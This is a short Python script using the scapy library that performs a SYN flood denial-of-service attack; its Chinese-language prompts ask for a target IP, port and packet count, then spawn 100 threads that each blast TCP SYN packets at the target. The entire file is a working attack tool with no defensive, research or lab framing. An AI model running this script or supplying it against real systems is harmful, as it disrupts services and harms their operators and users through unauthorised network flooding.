from scapy.all import IP,TCP,send
import threading

def half_synflood(ip,port,times):
	for i in range(1,times + 1):
		packetIp = IP(dst = ip)
		packetTcp = TCP(dport=port,flags="S")
		packet = packetIp / packetTcp
		send(packet)

def half_synflood_DDos():
	try:
		ip = input("请输入要攻击的目标ip：")
		port = int(input("请输入要攻击的目标端口："))
		times = int(input("请输入要攻击syn报文的数量："))
		list = []
		for i in range(1,101):
			t = threading.Thread(target=half_synflood,args=(ip,port,times))
			t.start()
			list.append(t)
		for j in list:
			j.join()
	except Exception:
		print("输入有误，请重新输入")


if __name__ == '__main__':
	half_synflood_DDos()